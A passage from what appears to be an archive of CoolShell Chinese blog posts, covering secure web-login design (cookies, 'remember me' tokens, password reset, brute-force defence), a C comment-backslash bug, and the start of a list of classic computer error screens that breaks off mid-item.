href=\"http://www.blogjava.net/heyang/archive/2011/04/05/340330.html\" target=\"_blank\" title=\"用Wireshark从http数据包中得到用户的登录信息\">这篇文章</a>你就明白了。要做到加密传输就必需使用HTTPS协议。但是，在中国还是有很多网站的Web登录方式还在使用ActiveX控件，这可能成为IE6还大量存在的原因。我通常理解为这些ActiveX控件是为了反键盘记录程序的。 不过，我依然觉ActiveX控件不应该存在，因为在国外的众多安全很重要的站点上都看不到ActiveX的控件的身影。</span></li>\n</ul>\n<h4>用户登录状态</h4>\n<p>首先，我想告诉大家的是，因为HTTP是无状态的协议，也就是说，这个协议是无法记录用户访问状态的，其每次请求都是独立的无关联的，一笔是一笔。而我们的网站都是设计成多个页面的，所在页面跳转过程中我们需要知道用户的状态，尤其是用户登录的状态，这样我们在页面跳转后我们才知道是否可以让用户有权限来操作一些功能或是查看一些数据。</p>\n<p><strong>所以，我们每个页面都需要对用户的身份进行认证</strong>。当然，我们不可能让用户在每个页面上输入用户名和口令，这会让用户觉得我们的网站相当的SB。为了实现这一功能，用得最多的技术就是浏览器的cookie，我们会把用户登录的信息存放在客户端的cookie里，这样，我们每个页面都从这个cookie里获得用户是否登录的信息，从而达到记录状态，验证用户的目的。但是，你真的会用cookie吗？下面是使用cookie的一些原则。</p>\n<ul>\n<li><strong>千万不要在cookie中存放用户的密码</strong>。加密的密码都不行。因为这个密码可以被人获取并尝试离线穷举。所以，你一定不能把用户的密码保存在cookie中。我看到太多的站点这么干了。</li>\n</ul>\n<ul>\n<li><strong>正确设计“记住密码”</strong>。这个功能简直就是一个安全隐患，我觉得并不是所有的程序员都知道怎么设计这个事。一般的设计 是——一时用户勾选了这个功能，系统会生成一个cookie，cookie包括用户名和一个固定的散列值，这个固定的散列值一直使用。这样，你就可以在所有的设备和客户上都可以登录，而且可以有多个用户同时登录。这个并不是很安全。下面是一些更为安全的方法供你参考：<br/>\n<span style=\"color: #000080;\">（——<em><strong>更新 2011/08/26，原文中有些小错误，并且说的不清楚，重新调整了一下——</strong></em>）</span></li>\n</ul>\n<p style=\"padding-left: 60px;\">1）在cookie中，保存三个东西——<strong>用户名</strong>，<strong>登录序列</strong>，<strong>登录token</strong>。</p>\n<p style=\"padding-left: 90px;\"><strong>用户名</strong>：明文存放。<br/>\n<strong>登录序列</strong>：一个被MD5散列过的随机数，<span style=\"color: #cc0000;\">仅当强制用户输入口令时更新（如：用户修改了口令）</span>。<br/>\n<strong>登录token</strong>：一个被MD5散列过的随机数，<span style=\"color: #cc0000;\">仅一个登录session内有效，新的登录session会更新它</span>。</p>\n<p style=\"padding-left: 60px;\">2）上述三个东西会存在服务器上，服务器的验证用户需要验证客户端cookie里的这三个事。</p>\n<p style=\"padding-left: 60px;\">3）这样的设计会有什么样的效果，会有下面的效果，</p>\n<p style=\"padding-left: 90px;\">a）<strong>登录token</strong>是单实例登录。意思就是一个用户只能有一个登录实例。</p>\n<p style=\"padding-left: 90px;\">b）<strong>登录序列</strong>是用来做盗用行为检测的。如果用户的cookie被盗后，盗用者使用这个cookie访问网站时，我们的系统是以为是合法用户，然后更新“<strong>登录token</strong>”，而真正的用户回来访问时，系统发现只有“<strong>用户名</strong>”和“<strong>登录序列</strong>”相同，但是“<strong>登录token</strong>” 不对，这样的话，系统就知道，这个用户可能出现了被盗用的情况，于是，系统可以清除并更改<strong>登录序列 </strong>和<strong> <strong>登录token</strong></strong>，这样就可以令所有的cookie失效，并要求用户输入口令。并给警告用户系统安全。</p>\n<p style=\"padding-left: 60px;\">4）当然，<strong>上述这样的设计还是会有一些问题，比如：同一用户的不同设备登录，甚至在同一个设备上使用不同的浏览器保登录</strong>。一个设备会让另一个设备的<strong>登录token</strong>和<strong>登录序列</strong>失效，从而让其它设备和浏览器需要重新登录，并会造成cookie被盗用的假象。所以，你在服务器服还需要考虑- <strong>IP 地址</strong>，</p>\n<p style=\"padding-left: 90px;\">a) 如果以口令方式登录，我们无需更新服务器的“<strong>登录序列</strong>”和 “<strong>登录token</strong>”（但需要更新cookie）。因为我们认为口令只有真正的用户知道。</p>\n<p style=\"padding-left: 90px;\">b) 如果 <strong>IP相同</strong> ，那么，我们无需更新服务器的“<strong>登录序列</strong>”和 “<strong>登录token</strong>”（但需要更新cookie）。因为我们认为是同一用户有同一IP（当然，同一个局域网里也有同一IP，但我们认为这个局域网是用户可以控制的。网吧内并不推荐使用这一功能）。</p>\n<p style=\"padding-left: 90px;\">c) 如果 （<strong>IP不同 </strong>&amp;&amp;<strong> 没有用口令登录</strong>），那么，“<strong>登录token</strong>” 就会在多个IP间发生变化（登录token在两个或多个ip间被来来回回的变换），当在一定时间内达到一定次数后，系统才会真正觉得被盗用的可能性很高，此时系统在后台清除“<strong>登录序列</strong>”和“<strong>登录token</strong>“，让Cookie失效，强制用户输入口令（或是要求用户更改口令），以保证多台设备上的cookie一致。</p>\n<ul>\n<li><strong>不要让cookie有权限访问所有的操作</strong>。否则就是XSS攻击，这个功能请参看<a href=\"https://coolshell.cn/articles/4914.html\" target=\"_blank\" title=\"新浪微博的XSS攻击\">新浪微博的XSS攻击</a>。下面的这些功能一定要用户输入口令：</li>\n</ul>\n<div style=\"padding-left: 60px;\">1）修改口令。</div>\n<div style=\"padding-left: 60px;\">2）修改电子邮件。（电子邮件通常用来找回用户密码，最好通发邮件或是发手机短信的方式修改，或者干脆就不让改一一用电子邮件做帐号名）</div>\n<div style=\"padding-left: 60px;\">3）用户的隐私信息。</div>\n<div style=\"padding-left: 60px;\">4）用户消费功能。</div>\n<div>\n<ul>\n<li><strong>权衡Cookie的过期时间。</strong>如果是永不过期，会有很不错的用户体验，但是这也会让用户很快就忘了登录密码。如果设置上过期期限，比如2周，一个月，那么可能会好一点，但是2周和一个月后，用户依然会忘了密码。尤其是用户在一些公共电脑上，如果保存了永久cookie的话，等于泄露了帐号。所以，对于cookie的过期时间我们还需要权衡。</li>\n</ul>\n</div>\n<h4>找回口令的功能</h4>\n<p>找回口令的功能一定要提供。但是很多朋友并不知道怎么来设计这个功能。我们有很多找回口令的设计，下面我逐个点评一下。</p>\n<ul>\n<li><strong>千万不要使用安全问答</strong>。事实证明，这个环节很烦人，而且用户并不能很好的设置安全问答。什么，我的生日啊，我母亲的生日，等等。因为今天的互联网和以前不一样了，因为SNS，今天的互联比以前更真实了，我可以上facebook，开心，人人网，LinkedIn查到你的很多的真实的信息。通过这些信息我可以使用安全问答来重设你的口令。 这里需要说一下 Facebook，Facebook的安全问答很强大，还要你通过照片认人，呵呵。</li>\n</ul>\n<ul>\n<li><strong>不要重置用户的密码</strong>。因为这有可能让用户的密码遭到恶意攻击。当然，你要发个邮件给用户让其确认，用户点击邮件中的一个链接，你再重置。我并不推荐这样的方法，因为用户一般都会用笔记下来这个很难记的口令，然后登录系统，因为登录系统时使用了“记住密码”的功能，所以导致用户不会去修改密码，从而要么导到被写下来的密码被人盗取，要么又忘记了密码。</li>\n</ul>\n<ul>\n<li><strong>好一点的做法——通过邮件自行重置</strong>。当用户申请找回口令功能的时候，系统生成一个MD5唯一的随机字串（可通过UID+IP+timestamp+随机数），放在数据库中，然后设置上时限（比如1小时内），给用户发一个邮件，这个连接中包含那个MD5的字串的链接，用户通过点击那个链接来自己重新设置新的口令。</li>\n</ul>\n<ul>\n<li><strong>更好一点的做法——多重认证</strong>。比如：通过手机+邮件的方式让用户输入验证码。手机+邮件可能还不把握，因为手机要能会丢了，而我的手机可以访问我的邮箱。所以，使用U盾，SecureID（一个会变化的6位数token），或是通过人工的方式核实用户身份。当然，这主要看你的系统的安全级别了。</li>\n</ul>\n<h4>口令探测防守</h4>\n<ul>\n<li><strong>使用验证码</strong>。验证码是后台随机产生的一个短暂的验证码，这个验证码一般是一个计算机很难识别的图片。这样就可以防止以程序的方式来尝试用户的口令。事实证明，这是最简单也最有效的方式。当然，总是让用户输入那些肉眼都看不清的验证码的用户体验不好，所以，可以折中一下。比如Google，当他发现一个IP地址发出大量的搜索后，其会要求你输入验证码。当他发现同一个IP注册了3个以上的gmail邮箱后，他需要给你发短信方式或是电话方式的验证码。</li>\n</ul>\n<ul>\n<li><strong>用户口令失败次数</strong>。调置口令失败的上限，如果失败过多，则把帐号锁了，需要用户以找回口令的方式来重新激活帐号。但是，这个功能可能会被恶意人使用。最好的方法是，增加其尝试的时间成本（以前的这篇文章说过一个<a href=\"https://coolshell.cn/articles/2078.html\" target=\"_blank\" title=\"如何防范密码被破解\">增加时间成本的解密算法</a>）。如，两次口令尝试的间隔是5秒钟。三次以上错误，帐号被临时锁上30秒，5次以上帐号被锁1分钟，10次以上错误帐号被锁4小时……但是这会导致恶意用户用脚本来攻击，所以最好再加上验证码，验证码出错次数过多不禁止登录而是禁lP。</li>\n</ul>\n<ul>\n<li><strong>系统全局防守</strong>。上述的防守只针对某一个别用户。恶意者们深知这一点，所以，他们一般会动用“僵尸网络”轮着尝试一堆用户的口令，所以上述的那种方法可能还不够好。我们需要在系统全局域上监控所有的口令失败的次数。当然，这个需要我们平时没有受到攻击时的数据做为支持。比如你的系统，平均每天有5000次的口令错误的事件，那么你可以认为，当口令错误大幅超过这个数后，而且时间相对集中，就说明有黑客攻击。这个时候你怎么办？一般最常见使用的方法是让所有的用户输错口令后再次尝试的时间成本增加。</li>\n</ul>\n<div>最后，再说一下，关于用户登录，使用第三方的 OAuth 和 OpenID 也不失为一个很不错的选择。</div>\n<h4>参考文章</h4>\n<ul>\n<li><a href=\"http://www.owasp.org/index.php/Guide_to_Authentication\" rel=\"nofollow\">OWASP Guide To Authentication</a></li>\n<li><a href=\"http://www.cs.umass.edu/~kevinfu/papers/webauth_tr.pdf\" rel=\"nofollow\">Dos and Don’ts of Client Authentication on the Web </a>（PDF）</li>\n<li><a href=\"http://fishbowl.pastiche.org/2004/01/19/persistent_login_cookie_best_practice/\" rel=\"nofollow\">Charles Miller’s Persistent Login Cookie Best Practice</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/HTTP_cookie#Drawbacks_of_cookies\" rel=\"nofollow\">Wikipedia: HTTP cookie</a></li>\n<li><a href=\"http://cups.cs.cmu.edu/soups/2008/proceedings/p13Rabkin.pdf\" rel=\"nofollow\">Personal knowledge questions for fallback authentication: Security questions in the era of Facebook </a></li>\n</ul>\n<div>（<strong>以上内容，转载时请保持原文一致，并请注明作者和出处</strong>）</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6193.html\"><img alt=\"CSDN明文口令泄露的启示\" height=\"150\" src=\"../wp-content/uploads/2011/12/63071edagw1doah4id8l4j-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6193.html\">CSDN明文口令泄露的启示</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3877.html\"><img alt=\"另类UX让你输入强口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3877.html\">另类UX让你输入强口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3801.html\"><img alt=\"破解你的口令\" height=\"150\" src=\"../wp-content/uploads/2011/02/passwords-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3801.html\">破解你的口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2451.html\"><img alt=\"Twitter的禁用口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2451.html\">Twitter的禁用口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2428.html\"><img alt=\"如何管理并设计你的口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2428.html\">如何管理并设计你的口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2078.html\"><img alt=\"如何防范密码被破解\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2078.html\">如何防范密码被破解</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5353.html\">你会做Web上的用户登录功能吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-8-26 C语言中史上最愚蠢的Bug.html",
    "content": "<html><body><p>本文来自“<a href=\"http://www.elpauer.org/?p=971\" target=\"_blank\">The most stupid C bug ever</a>”，很有意思，分享给大家。我相信这样的bug，就算你是高手你也会犯的。你来看看作者犯的这个Bug吧。。</p>\n<p>首先，作者想用一段程序来创建一个文件，如果有文件名的话，就创建真正的文件，如果没有的话，就调用?<a href=\"http://linux.die.net/man/3/tmpfile\">tmpfile()</a>?创建临时文件。他这段程序就是HTTP下载的C程序。code==200就是HTTP的返回码。</p>\n<pre class=\"EnlighterJSRAW\">\nelse if (code == 200) {     // Downloading whole file\n    /* Write new file (plus allow reading once we finish) */\n    g = fname ? fopen(fname, \"w+\") : tmpfile();\n}</pre>\n<p>但是这个程序，只能在Unix/Linux下工作，因为 Microsoft 的?<a href=\"http://msdn.microsoft.com/en-us/library/x8x7sakw.aspx\">tmpfile()的实现</a>?居然选择了 C:\\ 作为临时文件的存放目录，这对于那些没有管理员权限的人来说就出大问题了，在Windows 7下，就算你有管理员权限也会有问题。所以，上面的程序在Windows平台下需要用不同的方式来处理，不能直接使用Windows的tmpfile()函数。</p>\n<p>于是作者就先把这个问题记下来，在注释中写下了FIXME：</p>\n<pre class=\"EnlighterJSRAW\">\nelse if (code == 200) {     // Downloading whole file\n    /* Write new file (plus allow reading once we finish) */\n\n    // FIXME Win32 native version fails here because\n    //   Microsoft's version of tmpfile() creates the file in C:\\\n    g = fname ? fopen(fname, \"w+\") : tmpfile();\n}</pre>\n<p>然后，作者觉得需要写一个跨平台的编译：</p>\n<pre class=\"EnlighterJSRAW\">FILE * tmpfile ( void ) {\n#ifndef _WIN32\n    return tmpfile();\n#else\n    //code for Windows;\n#endif\n}</pre>\n<p>然后，作者觉得这样实现很不好，会发现名字冲突，因为这样一来这个函数太难看了。于是他重构了一下他的代码——写一个自己实现的tmpfile() – w32_tmpfile，然后，在Windows 下用宏定义来重命名这个函数为tmpfile()。（陈皓注：这种用法是比较标准的跨平台代码的写法）</p>\n<p><span id=\"more-5388\"></span></p>\n<pre class=\"EnlighterJSRAW\">#ifdef _WIN32\n  #define tmpfile w32_tmpfile\n#endif\n\nFILE * w32_tmpfile ( void ) {\n    //code for Windows;\n}</pre>\n<p>搞定！编译程序，运行。靠！居然没有调用到我的w32_tmpfile()，什么问题？调试，单步跟踪，果然没有调用到！难道是问号表达式有问题？改成if – else 语句，好了！</p>\n<pre class=\"EnlighterJSRAW\">if(NULL != fname) {\n    g = fopen(fname, \"w+\");\n} else {\n    g = tmpfile();\n}</pre>\n<p>问号表达式不应该有问题吧，难道我们的宏对问号表达式不起作用，这难道是编译器的预编译的一个bug？作者怀疑到。</p>\n<p>现在我们把所有的代码连在一起看，并比较一下：</p>\n<p><strong>能正常工作的代码</strong></p>\n<pre class=\"EnlighterJSRAW\">#ifdef _WIN32\n#  define tmpfile w32_tmpfile\n#endif\n\nFILE * w32_tmpfile ( void ) {\n    code for Windows;\n}\n\nelse if (code == 200) {     // Downloading whole file\n    /* Write new file (plus allow reading once we finish) */\n    // FIXME Win32 native version fails here because\n    //     Microsoft's version of tmpfile() creates the file in C:\\\n    //g = fname ? fopen(fname, \"w+\") : tmpfile();\n    if(NULL != fname) {\n        g = fopen(fname, \"w+\");\n    } else {\n        g = tmpfile();\n    }\n}</pre>\n<p><strong>不能正常工作的代码</strong></p>\n<pre class=\"EnlighterJSRAW\">#ifdef _WIN32\n#  define tmpfile w32_tmpfile\n#endif\n\nFILE * w32_tmpfile ( void ) {\n    code for Windows;\n}\n\nelse if (code == 200) {     // Downloading whole file\n    /* Write new file (plus allow reading once we finish) */\n    // FIXME Win32 native version fails here because\n    //    Microsoft's version of tmpfile() creates the file in C:\\\n    g = fname ? fopen(fname, \"w+\") : tmpfile();\n}</pre>\n<p>也许你在一开始就看到了这个bug，但是作者没有。所有的问题都出在注释上：</p>\n<pre class=\"EnlighterJSRAW\">\n/* Write new file (plus allow reading once we finish) */\n// FIXME Win32 native version fails here because\n//     Microsoft's version of tmpfile() creates the file in C:\\\n</pre>\n<p><strong>你看到了最后那个C:\\吗？在C中，“\\” 代表此行没有结束，于是，后面的代码也成了注释。这就是这个bug的真正原因</strong>！</p>\n<p>而之所以改成if-else能工作的原因是因为作者注释了老的问号表达式的代码，所以，那段能工作的代码成了：</p>\n<pre class=\"EnlighterJSRAW\">\n/* Write new file (plus allow reading once we finish) */\n// FIXME Win32 native version fails here because Microsoft's version of tmpfile() creates the file in C:    //g = fname ? fopen(fname, \"w+\") : tmpfile();\nif(NULL != fname) {\n    g = fopen(fname, \"w+\");\n} else {\n    g = tmpfile();\n}</pre>\n<p>我相信，当作者找到这个问题的原因后，一定会骂一句“妈的”！我也相信，这个bug花费了作者很多时间！</p>\n<p>最后，我也share一个我以前犯的一个错。</p>\n<p>我有一个小函数，需要传入一个int* pInt的类型，然后我需要在我的代码里 把这个int* pInt作除数。于是我的代码成了下面的这个样子：</p>\n<blockquote><p>float result = num/*pInt;<br/>\n….</p>\n<p>/*  some comments */</p>\n<p>-x&lt;10 ? f(result):f(-result);</p></blockquote>\n<p>因为我在我当时用vi编写代码，所以没有语法高亮，而我的程序都编译通过了，但是却出现了很奇怪的事。我也不知道，用gdb调式的时候，发现有些语句直接就过了。这个问题让我花了很多时间，最后发现问题原来是没有空格导致的，TNND，下面我用代码高亮的插件来显示上面的代码，</p>\n<pre class=\"EnlighterJSRAW\">float result = num/*pInt;\n....\n\n/*  some comments */\n\n-x&lt;10 ? f(result):f(-result); </pre>\n<p>Holly Shit!  我的代码成了：</p>\n<p><code class=\"EnlighterJSRAW\">float result = num-x&lt;10 ? f(result):f(-result);</code></p>\n<p>妈的！我的这个错误在愚蠢程度上和上面那个作者出的错误有一拼。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9543.html\"><img alt=\"“C++的数组不支持多态”？\" height=\"150\" src=\"../wp-content/uploads/2013/04/weibo-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9543.html\">“C++的数组不支持多态”？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5388.html\">C语言中史上最愚蠢的Bug</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-8-8 10大经典错误.html",
    "content": "<html><body><p>下面是10、11个经典的错误，升序排名。希望大家补充！</p>\n<h4>10、DOS的Abort，Retry, Fail？错误</h4>\n<p>85年以后出生的人可能不知道DOS是什么了，只有那老家伙还知道这是什么。我还记得当时的我对于Abort和Fail这两个选择还是比较清楚的，不过，今天完全忘记了Abort和Fail的差别是什么？这个出是DOS下的经常出现，也相当的经典，以至于在Wikepedia上都有专门的业面 <a href=\"http://en.wikipedia.org/wiki/Abort,_Retry,_Fail%3F\" target=\"_blank\">Abort, Retry, Fail?</a>。简称为ARF。当然，ARI – Abort, Retry, Ignore?</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-5108\" height=\"112\" src=\"../wp-content/uploads/2011/08/Dos_Abort_Retry_Fail.png\" title=\"Dos Abort Retry Fail\" width=\"220\"/></p>\n<h4>9、Windows Vista 的红屏错误</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/Red_Screen_of_Death\" target=\"_blank\">红屏错误</a>（RSoD – Red Screen of Death）不单单只是Windows Vista引入的（也许是蓝屏太有名了，突然变成红屏，大家觉得这个是比蓝屏更NB的错，所以也就引人关注了），PlayStation的也喜欢使用红屏。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_5109\" style=\"width: 512px;\"><img alt=\"\" class=\"size-full wp-image-5109\" height=\"320\" src=\"../wp-content/uploads/2011/08/Longhorn_RSoD.png\" title=\"Longhorn RSoD\" width=\"512\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-5109\">Windows Vista 的 RSoD</figcaption></figure>\n<p><span id=\"more-5107\"></span></p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_5110\" style=\"width: 480px;\"><img alt=\"\" class=\"size-full wp-image-5110\" height=\"272\" src=\"../wp-content/uploads/2011/08/Rsodhc6.png\" title=\"PSP的红屏\" width=\"480\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-5110\">PSP的红屏</figcaption></figure>\n<h4>8、PC机的开机报警</h4>\n<p>攒过PC的朋友都知道如果你的内存条有问题，PC开机时会长鸣报警，一长一短则是显卡有问题，等等。你可以上Wikipedia上看看相关的词条——<a href=\"http://en.wikipedia.org/wiki/Power-on_self_test\">Power On Self-Test Beep</a>。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_5111\" style=\"width: 400px;\"><img alt=\"\" class=\"size-full wp-image-5111\" height=\"317\" src=\"../wp-content/uploads/2011/08/POST_P5KPL.jpg\" title=\"AMI BIOS \" width=\"400\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-5111\">第一代的AMI BIOS</figcaption></figure>\n<h4>7、Twitter的大鲸鱼</h4>\n<p>Twitter的服务器负载一吃紧，下面的这个页面就会显现出来了，大家把它叫做<strong>Fail Whale </strong>，这个情况在今年4月份以前的2到3年是非常频繁发生的，现在看似好很多了，看来Twitter工程师们克服了这个负载问题。你千万不要以为这个图是Twitter自己设计的，这个图是一个叫<a href=\"http://www.google.com/search?q=yiying+lu&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=FlockInc.:en-US:unofficial&amp;client=firefox\">Yiying Lu</a>的人设计的。不过由Twitter引发出来的文化影响力是比较深远的，甚至还出现了相要把这个事发扬光大的Fail Whale project (<a href=\"http://www.twitter.com/failwhale\">@FailWhale</a>, <a href=\"http://www.failwhale.com/\">failwhale.com</a>)以及相关的T恤衫。你可以看看<a href=\"http://www.readwriteweb.com/archives/the_story_of_the_fail_whale.php\" target=\"_blank\">这篇文章</a>。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_5112\" style=\"width: 511px;\"><img alt=\"\" class=\"size-full wp-image-5112\" height=\"375\" src=\"../wp-content/uploads/2011/08/FailWhale.png\" title=\"Twitter Fail Whale\" width=\"511\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-5112\">Twitter Fail Whale</figcaption></figure>\n<h4>6、Kernel Panic</h4>\n<p>Kernel Panic相关于Windows 的蓝屏错误，其发生在Mac OS X和Linux下，在Mac OS X v10.6 <em>Snow Leopard</em>中，当进入内核错误后，会在画面上出现一个有英语、法语、德语、西班牙语及日语的当机画面，被多数用户称为“五国语言当机”，简称“五国”。在Linux上则是Linux Kernel oops。当内核检测到问题时，它会打印一个oops信息然后杀死全部相关进程。oops信息可以帮助Linux内核工程师调试，检测oops出现的条件，并修复导致oops的程序错误。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_5113\" style=\"width: 460px;\"><img alt=\"\" class=\"size-full wp-image-5113\" height=\"285\" src=\"../wp-content/uploads/2011/08/Panic10.6.png\" title=\"Mac OS X 10.6的内核错误警告，俗称“五国”\" width=\"460\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-5113\">Mac OS X 10.6的内核错误警告，俗称“五国”</figcaption></figure>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_5114\" style=\"width: 480px;\"><img alt=\"\" class=\"size-full wp-image-5114\" height=\"480\" src=\"../wp-content/uploads/2011/08/Linux-2.6-oops-parisc.jpg\" title=\"Linux-2.6-oops-parisc\" width=\"480\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-5114\">PA-RISC上发生的Linux内核oops，用ASCII显示一头死牛</figcaption></figure>\n<h4>5、Windows的非法操作</h4>\n<p>这个错误信息主要是操作系统用来保护自己的错误，也就是Windows下的程序crash。通常来说，是内存访问错误引发的。不过，这个东西在windows下太多了，这是Win95和Win98中的大量的问题，包括微软自己的软件也经常出现这个问题，最为典型的就是IE6的crash。让IE6 出现这样的错误真是太简单了，参看<a href=\"https://coolshell.cn/articles/2357.html\" target=\"_blank\" title=\"一个jQuery的插件\">酷壳的这篇文章</a>。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_5115\" style=\"width: 398px;\"><img alt=\"\" class=\"size-full wp-image-5115\" height=\"135\" src=\"../wp-content/uploads/2011/08/gag_screenshot.gif\" title=\"该程序执行了非法操作\" width=\"398\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-5115\">该程序执行了非法操作</figcaption></figure>\n<h4>4、Windows RPC Error</h4>\n<p>这个错误之所以很牛，是因为在2003年的8月份，很多使用Windows的用户都看到了这个错误，其系统被强行重启，重启了以后又收到这个错误，然后又被重启。这个事看上去就像一个正常的Windows的错误（相当正常，因为这样的红叉叉在Windows上看到了N多次了，用户都习惯了），但其实，这个事是有人故意的，这就是那个著名的<a href=\"http://en.wikipedia.org/wiki/Blaster_(computer_worm)\">Blaster worm</a>蠕虫病毒，其利用了Windows DCOM的一个漏洞。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_5116\" style=\"width: 282px;\"><img alt=\"\" class=\"size-full wp-image-5116\" height=\"258\" src=\"../wp-content/uploads/2011/08/Windows-RPC-Error.jpg\" title=\"Windows RPC Error\" width=\"282\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-5116\">Windows RPC Error</figcaption></figure>\n<h4>3、Xbox 360 三红错误</h4>\n<p>这个错误又叫RRoD – Red Ring of 